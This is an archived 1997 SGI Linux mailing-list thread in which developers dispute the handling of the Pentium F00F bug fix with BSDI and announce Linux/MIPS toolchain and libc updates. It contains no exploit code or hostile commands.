Message-Id: <199711172128.NAA04775@hollywood.engr.sgi.com>
Subject: Re: Pentium F00F bug Linux workaround; BSDI Response
To: linux@hollywood.engr.sgi.com
Date: Mon, 17 Nov 1997 13:28:20 -0800 (PST)
Cc: fisher@hollywood.engr.sgi.com (William Fisher)
Reply-To: fisher@sgi.com
X-Mailer: ELM [version 2.4 PL3]
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 4834
Lines: 93

Here is the response I got from BSDI on the Pentium F00F bug fix.

-- Bill
-----------------------
>From dab@frantic.BSDI.COM  Sat Nov 15 09:32:26 1997
Date: Sat, 15 Nov 1997 11:32:42 -0600 (CST)
From: David Borman <dab@BSDI.COM>
Message-Id: <199711151732.LAA17129@frantic.BSDI.COM>
To: fisher@sgi.com
Subject: Re: Pentium F00F bug Linux workaround

Hi Bill,

> Is this true that:
> 
> "BSDI signed an NDA with Intel to get early fix techniques"?
> 
> ...
> Subject: Re: Pentium F00F bug Linux workaround
> References:  <199711142117.NAA27890@.....>
> Sender: owner-linux@cthulhu
> Precedence: bulk
> 
> We also got some good press from it pretty fast after we released the fixes:
> 
> http://www.news.com/News/Item/0,4,16312,00.html
> 
> Whats extremely humorous is that BSDI signed an NDA with Intel to get
> early fix techniques told to them by Intel engineers.  But the NDA
> stated they could not release patch sets for BSDI until Intel said so,
> the thinking on Intel's part is that they wanted nobody to be the
> first with a fix.  BSDI overlooked this and put the fix out, then
> quickly took the fixes down once they released they had breached the
> Intel NDA.
> 
> After the Linux fix was already out, Intel engineers spoke with Linus
> and tried to get him to sign an NDA, I've never laughed so hard in my life.
>
Hmm... The Linux message is not accurate.  At no time has BSDI violated
any agreements with Intel.  The first patch that we put up was a beta
patch.  It solves the problem, but we made some minor improvements on
it in our official patch.

I'll also point out that Intel called us.  From our official patch:

	BSDI has worked closely with Intel since they contacted us about
	this erratum. We were able to develop a workaround for BSD/OS very
	quickly, and Intel's assistance was invaluable in this process.
	BSDI is confident that the software workaround solves this problem
	for our customers.
	...
	Thanks to Intel Corporation for contacting BSDI with data that
	led to the fix.

Also, though I don't personally have anything to support this, it is our
understanding that the Linux fix was based at least in part upon
disassembling our beta patch.

I've attached our "press release".

		-David Borman, dab@bsdi.com


FOR IMMEDIATE RELEASE
Contact:	Donna Faulkner
		Baron, McDonald & Wells
		770/492-0373
		dfaulkner@bmwpr.com

First Intel Pentium Processor 'F0' Bug Fix Announced for BSDI ISP Customers

ISPs and other users of BSD/OS can be protected against system 'freezes'
caused by illegal code strings 

COLORADO SPRINGS, Co.  (November 17, 1997)

Internet Service Providers (ISPs) and other users of the BSD/OS can now protect themselves against problems associated with the 'F0' bug discovered in Intel's Pentium processor.  Berkeley Software Design, Inc. (BSDI) today announced a patch that protects companies running BSD/OS 3.1, 3.0, 2.1 against system freezes caused when the processor receives an illegal, one-line instruction.  
	BSDI's patch enables the BSD/OS to gain control whenever an invalid sequence is executed, enabling the system to take its normal action in response to illegal instructions.  The patch offers a solution to more than 7,000 organizations and companies relying on the BSD/OS, including over 3,000 ISPs worldwide.  ISPs are particularly vulnerable to system attacks based on the Pentium processor bug, since any user or subscriber with malicious intent has the potential to create a system-wide hang-up.

	"BSDI has developed an outstanding reputation for rapid response to attacks," said Mike Karels, vice president of engineering for BSDI.  "Last summer, we were the first commercial vendor to provide a defense against 'SYN-flooding' attacks.  This week, we have once again demonstrated industry-leading support for our customers."

The BSD/OS patch is downloadable from the company's web site at
	http://www.bsdi.com. 
Berkeley Software Design, Inc. is the commercial supplier of the
high-performance BSD Internet and networking system software originally
developed at the University of California, Berkeley.

Internet experts worldwide are powering the networked economy with over 75,000 deployed servers running BSDI software engines and applications.  BSDI products for Intel-based PC platforms include the BSDI Internet Server, BSD/OS, and network software for networking appliance developers.  BSDI customers include Adobe Systems, Chase Manhattan Bank, CompuServe, U.S. West, UUNET Technologies, Volvo, and leading Internet Service Providers worldwide.  BSDI is privately held and headquartered in Colorado Springs, Colorado.  Contact BSDI at 719-593-9445, info@bsdi.com or http://www.bsdi.com.

BSDI, BSD/OS and the BSDI logo are trademarks of Berkeley Software Design, Inc.  All other product or service names are trademarks of their respective owners.




From owner-linux@cthulhu.engr.sgi.com  Mon Nov 17 15:31:16 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA808961 for <linux-archive@neteng.engr.sgi.com>; Mon, 17 Nov 1997 15:31:16 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA05650 for linux-list; Mon, 17 Nov 1997 15:29:19 -0800
Received: from hollywood.engr.sgi.com (hollywood.engr.sgi.com [150.166.61.38]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA05624 for <linux@cthulhu.engr.sgi.com>; Mon, 17 Nov 1997 15:29:17 -0800
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by hollywood.engr.sgi.com (940816.SGI.8.6.9/960327.SGI.AUTOCF) via ESMTP id PAA04987; Mon, 17 Nov 1997 15:29:17 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA05492; Mon, 17 Nov 1997 15:29:00 -0800
Received: from dm.cobaltmicro.com ([209.19.61.51]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA24035; Mon, 17 Nov 1997 15:28:59 -0800
	env-from (davem@dm.cobaltmicro.com)
Received: (from davem@localhost)
	by dm.cobaltmicro.com (8.8.7/8.8.7) id PAA27334;
	Mon, 17 Nov 1997 15:23:46 -0800
Date: Mon, 17 Nov 1997 15:23:46 -0800
Message-Id: <199711172323.PAA27334@dm.cobaltmicro.com>
From: "David S. Miller" <davem@dm.cobaltmicro.com>
To: fisher@sgi.com
CC: linux@hollywood.engr.sgi.com, fisher@hollywood.engr.sgi.com
In-reply-to: <199711172128.NAA04775@hollywood.engr.sgi.com>
	(fisher@hollywood.engr.sgi.com)
Subject: Re: Pentium F00F bug Linux workaround; BSDI Response
References:  <199711172128.NAA04775@hollywood.engr.sgi.com>
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1003
Lines: 25


I'm going to choose more lightly what I decide to post here if it's
going to make it's way to every tom, dick, and harry out there in the
unix industry...

Fact is that Intel was trying to make sure _no_ vendor had a fix out
before anyone else.  If it was not explicitly stated in the NDA they
signed with Intel, this was a mistake and not what was intended.

Now that you've talked to Borman about this fish, ask him why he had
to take the patch set down within a day or so.  If he says "because it
was a BETA patch set", I'd find his response hard to believe.

Intel engineers internally were working themselves on fixes for
various systems that they did have source to (Linux, maybe
{net,free}BSD and a few others) and planned to release those patch
sets and allow vendors to release their own patches at the same exact
time.

BSDI putting out their patch ahead of that point in time was, if
anything, totally against how Intel wanted things happen.

Later,
David S. Miller
davem@dm.cobaltmicro.com

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 17 15:53:40 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id PAA811320 for <linux-archive@neteng.engr.sgi.com>; Mon, 17 Nov 1997 15:53:40 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id PAA14052 for linux-list; Mon, 17 Nov 1997 15:50:52 -0800
Received: from hollywood.engr.sgi.com (hollywood.engr.sgi.com [150.166.61.38]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA14034 for <linux@cthulhu.engr.sgi.com>; Mon, 17 Nov 1997 15:50:49 -0800
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by hollywood.engr.sgi.com (940816.SGI.8.6.9/960327.SGI.AUTOCF) via ESMTP id PAA05008; Mon, 17 Nov 1997 15:50:39 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id PAA13843; Mon, 17 Nov 1997 15:50:23 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id PAA29885; Mon, 17 Nov 1997 15:50:20 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id XAA00035; Mon, 17 Nov 1997 23:50:13 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xXb1y-0005FrC; Mon, 17 Nov 97 23:56 GMT
Message-Id: <m0xXb1y-0005FrC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Pentium F00F bug Linux workaround; BSDI Response
To: davem@dm.cobaltmicro.com (David S. Miller)
Date: Mon, 17 Nov 1997 23:56:37 +0000 (GMT)
Cc: fisher@sgi.com, linux@hollywood.engr.sgi.com,
        fisher@hollywood.engr.sgi.com
In-Reply-To: <199711172323.PAA27334@dm.cobaltmicro.com> from "David S. Miller" at Nov 17, 97 03:23:46 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 278
Lines: 8

> BSDI putting out their patch ahead of that point in time was, if
> anything, totally against how Intel wanted things happen.

Dave talk this off list. And if you are going to say things like
"XYZ violated their NDA" expect them to both hear about it and reply. Fair's
fair.



From owner-linux@cthulhu.engr.sgi.com  Sun Nov 23 17:16:33 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id RAA99434 for <linux-archive@neteng.engr.sgi.com>; Sun, 23 Nov 1997 17:16:33 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id RAA06151 for linux-list; Sun, 23 Nov 1997 17:15:33 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id RAA06125 for <linux@engr.sgi.com>; Sun, 23 Nov 1997 17:15:19 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id RAA24229
	for <linux@engr.sgi.com>; Sun, 23 Nov 1997 17:15:16 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-26.uni-koblenz.de [141.26.249.26])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id CAA25346
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 02:15:13 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id CAA10144;
	Mon, 24 Nov 1997 02:12:09 +0100
Message-ID: <19971124021209.16856@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 02:12:09 +0100
From: ralf@uni-koblenz.de
To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
Subject: Announce: New development tools uploaded
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 1227
Lines: 34

-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I've uploaded new patches for the development tools to ftp.linux.sgi.com
and ftp.fnet.fr.

  - binutils-2.8.1-1
    This is the first Linux/MIPS version of the tools based on binutils
    2.8.1.  The upgrade is mandatory if you want to be able to correctly
    build shared libraries.  The old binutils 2.7 based linker had the
    bug that it would link the entire static libc into a shared library
    image when the library was linked against libc (-lc) resulting in a
    unuseable, huge shared library image and a large number of warnings.
  - gcc-2.7.2-7.diff.gz
    This release fixes a minor bug in the specs file.  Older GCC versions
    were linking useless object files into all shared libraries resulting
    in slightly larger object files.

  Ralf

f55e50c1583a9551004fb28efbc71f82  binutils-2.8.1-1.diff.gz
e70231058065d5be40e668b5cb601bb6  gcc-2.7.2-7.diff.gz

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQCVAwUBNHjUFUckbl6vezDBAQFDjAP7BqaR0RGPnh1AmRSA04/gX4utubgcZYP6
auyx1hoK3yCax72P64J7WD8z/41Nshyi5ehBu9yk4JUKwBaTTErF8NbcY+zTR5v0
lhb0o8DkUR0WA0NxD/YGVdHqBgz9eKJlDUSkTanBItitVBbbhaUGREjmJsFedt0K
0YtqmfD0WeY=
=gBCX
-----END PGP SIGNATURE-----

From owner-linux@cthulhu.engr.sgi.com  Sun Nov 23 20:47:42 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA109140 for <linux-archive@neteng.engr.sgi.com>; Sun, 23 Nov 1997 20:47:42 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA02226 for linux-list; Sun, 23 Nov 1997 20:44:40 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA02200 for <linux@engr.sgi.com>; Sun, 23 Nov 1997 20:44:30 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA26263
	for <linux@engr.sgi.com>; Sun, 23 Nov 1997 20:44:28 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-02.uni-koblenz.de [141.26.249.2])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA29938
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 05:44:24 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id FAA11321;
	Mon, 24 Nov 1997 05:41:11 +0100
Message-ID: <19971124054108.44804@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 05:41:08 +0100
From: ralf@uni-koblenz.de
To: linux@cthulhu.engr.sgi.com
Subject: Libc in CVS
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 523
Lines: 16

Hi all,

with the bug fixes I checked in during the last few days libc is now
pretty stable.  In particular the problems with wrong relocations in
the X libraries and all libpam clients are working now.

Still to do:

 - some of the fixes are not very nice or correct at all
 - build binaries for redistribution.  Can somebody take care of this?

Given that this opens the way to useable native X libraries, which makes
building a large number of other RPM packages possible, these patches
are quite a breakthough.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Sun Nov 23 20:49:16 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id UAA109024 for <linux-archive@neteng.engr.sgi.com>; Sun, 23 Nov 1997 20:49:15 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id UAA02816 for linux-list; Sun, 23 Nov 1997 20:48:41 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id UAA02812 for <linux@engr.sgi.com>; Sun, 23 Nov 1997 20:48:38 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id UAA26897
	for <linux@engr.sgi.com>; Sun, 23 Nov 1997 20:48:37 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-02.uni-koblenz.de [141.26.249.2])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id FAA00125
	for <linux@engr.sgi.com>; Mon, 24 Nov 1997 05:48:31 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id FAA11347;
	Mon, 24 Nov 1997 05:45:19 +0100
Message-ID: <19971124054518.62045@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 05:45:18 +0100
From: ralf@uni-koblenz.de
To: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
Subject: Announce: binutils rpm package
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 590
Lines: 22

-----BEGIN PGP SIGNED MESSAGE-----

Hi all,

I've uploaded little endian native binaries and a source rpm package
of binutils-2.8.1-1 to ftp.linux.sgi.com.

  Ralf

f234b72cc2982ec4e2d88db6d700b3b5  binutils-2.8.1-1.mips.rpm
d71aeb4d0f36d4a40bb44714099520e3  binutils-2.8.1-1.src.rpm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1

iQCVAwUBNHkF/0ckbl6vezDBAQGXDwQAqyx9LVsB6tFVpBrvy4IA+RnUnjDjn0t8
Xq66Uj2uZhfqB/MH+zgA2VJP4hnd/nuh9PHiRkaOv3sFrKfL7CF7rAQqbQteX3wM
xju4Mg5uuRq/0TN43la55Pu6zL8gf/NsvNFEJOsBjuJr7Fn573EjCvH6zTIWc0N7
fw9NSRhQvbE=
=mgTZ
-----END PGP SIGNATURE-----

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 01:54:39 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id BAA122876 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 01:54:39 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id BAA19084 for linux-list; Mon, 24 Nov 1997 01:49:29 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id BAA19040 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 01:49:14 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id BAA12958
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 01:49:13 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id JAA20082; Mon, 24 Nov 1997 09:48:59 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xZv6B-0005FtC; Mon, 24 Nov 97 09:46 GMT
Message-Id: <m0xZv6B-0005FtC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Libc in CVS
To: ralf@uni-koblenz.de
Date: Mon, 24 Nov 1997 09:46:35 +0000 (GMT)
Cc: linux@cthulhu.engr.sgi.com
In-Reply-To: <19971124054108.44804@lappi.waldorf-gmbh.de> from "ralf@uni-koblenz.de" at Nov 24, 97 05:41:08 am
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 294
Lines: 7

> Given that this opens the way to useable native X libraries, which makes
> building a large number of other RPM packages possible, these patches
> are quite a breakthough.

With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be
bad linking. I'll turn the RPM factory back on


From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 03:28:37 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id DAA128257 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 03:28:37 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id DAA05759 for linux-list; Mon, 24 Nov 1997 03:21:49 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id DAA05742 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 03:21:43 -0800
Received: from informatik.uni-koblenz.de (mailhost.uni-koblenz.de [141.26.4.1]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id DAA27561
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 03:21:41 -0800
	env-from (ralf@lappi.waldorf-gmbh.de)
Received: from lappi.waldorf-gmbh.de (ralf@pmport-22.uni-koblenz.de [141.26.249.22])
	by informatik.uni-koblenz.de (8.8.8/8.8.8) with ESMTP id MAA19975
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 12:21:39 +0100 (MET)
Received: (from ralf@localhost)
	by lappi.waldorf-gmbh.de (8.8.7/8.8.7) id MAA13129;
	Mon, 24 Nov 1997 12:05:49 +0100
Message-ID: <19971124120549.01585@lappi.waldorf-gmbh.de>
Date: Mon, 24 Nov 1997 12:05:49 +0100
From: ralf@uni-koblenz.de
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Cc: linux@cthulhu.engr.sgi.com
Subject: Re: Libc in CVS
References: <19971124054108.44804@lappi.waldorf-gmbh.de> <m0xZv6B-0005FtC@lightning.swansea.linux.org.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.85
In-Reply-To: <m0xZv6B-0005FtC@lightning.swansea.linux.org.uk>; from Alan Cox on Mon, Nov 24, 1997 at 09:46:35AM +0000
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 760
Lines: 19

On Mon, Nov 24, 1997 at 09:46:35AM +0000, Alan Cox wrote:
> > Given that this opens the way to useable native X libraries, which makes
> > building a large number of other RPM packages possible, these patches
> > are quite a breakthough.
> 
> With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be
> bad linking.

My rpm has never dumped core but it was complaining about nonexisting
users while creating the binary rpm file even though the user was
existing thus failing to build.  That rpm problem is fixed.

> I'll turn the RPM factory back on

All the source RPM packages on linus are known to build and work for
little endian targets.  Some of them, for example ncompress, have special
modifications to support big endian targets.

  Ralf

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 03:35:45 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id DAA128561 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 03:35:45 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id DAA07745 for linux-list; Mon, 24 Nov 1997 03:33:33 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id DAA07740 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 03:33:31 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id DAA28925
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 03:33:28 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id LAA23091; Mon, 24 Nov 1997 11:33:08 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xZwiw-0005FsC; Mon, 24 Nov 97 11:30 GMT
Message-Id: <m0xZwiw-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Libc in CVS
To: ralf@uni-koblenz.de
Date: Mon, 24 Nov 1997 11:30:41 +0000 (GMT)
Cc: alan@lxorguk.ukuu.org.uk, linux@cthulhu.engr.sgi.com
In-Reply-To: <19971124120549.01585@lappi.waldorf-gmbh.de> from "ralf@uni-koblenz.de" at Nov 24, 97 12:05:49 pm
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 972
Lines: 24

> > With luck it'll also fix the rpm-2.4.8 core dump bug which seems to be
> > bad linking.
> 
> My rpm has never dumped core but it was complaining about nonexisting
> users while creating the binary rpm file even though the user was
> existing thus failing to build.  That rpm problem is fixed.

Yep thats the bug - I also got some crashes. It was caused by getpw* failing
in peculiar ways. My RPM binary has its own 

> All the source RPM packages on linus are known to build and work for
> little endian targets.  Some of them, for example ncompress, have special
> modifications to support big endian targets.

Im actually trying to build a full RedHat 5.0 by early December so Im picking
up your changes to stuff like bash indirectly via redhat on the whole. I can
then merge anything that escaped and together we can make sure they are in 
RH5.1.

Obviously as of about Dec1 the amount of answers I can get from RedHat will
noise dive for a couple of months

Alan


From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 04:15:53 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id EAA130159 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 04:15:53 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id EAA15759 for linux-list; Mon, 24 Nov 1997 04:12:49 -0800
Received: from sgi.sgi.com (sgi.engr.sgi.com [192.26.80.37]) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) via ESMTP id EAA15558 for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 04:11:57 -0800
Received: from snowcrash.cymru.net (snowcrash.cymru.net [163.164.160.3]) by sgi.sgi.com (950413.SGI.8.6.12/970507) via ESMTP id EAA04479
	for <linux@cthulhu.engr.sgi.com>; Mon, 24 Nov 1997 04:11:55 -0800
	env-from (alan@lxorguk.ukuu.org.uk)
Received: from lightning.swansea.linux.org.uk (the-great-packet-bucket-in-the-sky [163.164.160.21] (may be forged)) by snowcrash.cymru.net (8.8.7/8.7.1) with SMTP id MAA23864; Mon, 24 Nov 1997 12:06:22 GMT
Received: by lightning.swansea.linux.org.uk (Smail3.1.29.1 #2)
	id m0xZxFA-0005FsC; Mon, 24 Nov 97 12:04 GMT
Message-Id: <m0xZxFA-0005FsC@lightning.swansea.linux.org.uk>
From: alan@lxorguk.ukuu.org.uk (Alan Cox)
Subject: Re: Announce: binutils rpm package
To: ralf@uni-koblenz.de
Date: Mon, 24 Nov 1997 12:04:00 +0000 (GMT)
Cc: linux-mips@fnet.fr, linux@cthulhu.engr.sgi.com
In-Reply-To: <19971124054518.62045@lappi.waldorf-gmbh.de> from "ralf@uni-koblenz.de" at Nov 24, 97 05:45:18 am
Content-Type: text
Sender: owner-linux@cthulhu.engr.sgi.com
Precedence: bulk
Content-Length: 302
Lines: 9

> I've uploaded little endian native binaries and a source rpm package
> of binutils-2.8.1-1 to ftp.linux.sgi.com.
> 
>   Ralf
> 
> f234b72cc2982ec4e2d88db6d700b3b5  binutils-2.8.1-1.mips.rpm
> d71aeb4d0f36d4a40bb44714099520e3  binutils-2.8.1-1.src.rpm

The SRPM appears corrupt - its about 1Meg short

From owner-linux@cthulhu.engr.sgi.com  Mon Nov 24 05:58:40 1997
Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by neteng.engr.sgi.com (970903.SGI.8.8.7/960327.SGI.AUTOCF) via SMTP id FAA135275 for <linux-archive@neteng.engr.sgi.com>; Mon, 24 Nov 1997 05:58:40 -0800 (PST)
Return-Path: <owner-linux@cthulhu.engr.sgi.com>
Received: (from majordomo-owner@localhost) by cthulhu.engr.sgi.com (950413.SGI.8.6.12/960327.SGI.AUTOCF) id FAA13707 for linux-list; Mon, 24 Nov 1997 05:56:21 -0800
